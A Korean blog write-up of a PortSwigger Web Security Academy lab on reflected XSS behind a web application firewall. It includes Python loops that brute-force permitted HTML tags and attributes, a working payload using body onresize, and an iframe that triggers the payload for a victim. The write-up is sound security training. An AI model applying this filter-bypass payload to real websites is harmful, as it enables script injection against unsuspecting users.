-
[Web Hacking] Portswigger - Reflected XSS into HTML context with most tags and attributes blockedCoding/Hacking & Security 2023. 3. 2. 15:17
Lab: Reflected XSS into HTML context with most tags and attributes blocked | Web Security Academy
This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors. ...
portswigger.net
학생을 바라보는 교수님의 표정 XSS를 이용해서 print 함수를 호출해보자.
문제 분석
Search 기능에 XSS가 가능하다고 한다. 단, WAF이 걸려있어 아무 tag나 사용할 수는 없다.
예를 들어 search parameter로 "<script>"라는 문자열을 주면 아래와 같은 결과가 나온다.
search에 <script>를 입력하면 이런 결과가 나온다. WAF를 뚫을 수 있는 방법을 생각해보아야 할 것이다.
어쨋든 WAF를 bypass해서 print 함수를 호출하는 코드를 만들어보자.
목표
WAF를 bypass할 수 있는 방법은 여러가지가 있겠다.
1. XSS에 사용할 코드를 html encoding 등을 이용하여 filtering에 걸리지 않게 하거나
2. WAF filtering에 걸리지 않는 tag를 찾아내거나
우선 html encoding을 이용해서 값을 대입해보았다.
그런데 딱히 방법이 통하는것 같지는 않았다.
그래서 결국 존재하는 html 태그를 모두 대입해보면서 WAF에 걸리지 않는 tag가 있는지 검사해보기로 했다.
풀이
https://www.w3schools.com/TAGS/default.asp
Html 태그 리스트는 위의 사이트에서 찾았다.
이를 복사하여 tag_list.txt 파일로 저장한 후 python을 이용하여 brute force 해보았다.
import requests as rq URL = "https://생략...web-security-academy.net/" tag_list_raw = open("./tag_list.txt") tag_list = list(map(lambda x:x.strip() , tag_list_raw.readlines())) tag_list_raw.close() for tag in tag_list: req = rq.get(URL + "?search=" + tag) print(tag, req.status_code)
이렇게 해서 잘 찾아본 결과, body tag만 status_code가 200으로 출력되었다.
그렇게 해서 search에 아래와 같이 입력해보았다.
<body onload=print()>
그랬더니 이번에는 이렇게 되었다.
이렇게 입력했더니 이번에는 이렇게 되었다 따라서 WAF를 뚫는 tag를 찾은 방법과 동일하게 filtering에 걸리지 않는 attribute를 찾아야 한다.
https://www.w3schools.com/tags/ref_attributes.asp
Attribute의 list는 여기서 찾았다.
아까 tag를 찾은 방법과 거의 비슷하게 해보았다.
attr_list_raw = open("./attr_list.txt") attr_list = list(map(lambda x:x.strip() , attr_list_raw.readlines())) attr_list_raw.close() for attr in attr_list: req = rq.get(URL + "?search=" + "<boady " + attr + ">") print(attr, req.status_code)
그랬더니 몇 가지 attribute에서 status code가 200으로 나타났다.
그 중에서 onresize 가 쓸만해 보였다.
과연 이 두 결과를 이용해서 XSS를 시도할 수 있을 지 테스트해보았다.
Search에 아래와 같이 입력했다.
<body onresize=print()>
그 결과, 페이지는 정상적으로 나왔으며 chrome tab을 드래그하여 크기를 바꾸어보았더니 print 함수가 호출되었다!
이제 마지막으로 이를 우리의 불쌍한 victim에게 전달해보자.
이 부분은 어떻게 해야 할지 잘 모르겠어서 solution을 살짝 봤는데, iframe tag를 이용하는 것을 확인했다.
Victim이 iframe을 이용해 print 함수를 포함한 페이지에 접속하도록 유도하는 방법인것 같다.
<iframe src="https://생략...web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E" onload=this.style.width='100px'>
이렇게 해주면 onload에서 페이지의 width를 바꾸게 되고, 그 결과 onresize attribute의 print 함수가 실행된다.
'Coding > Hacking & Security' 카테고리의 다른 글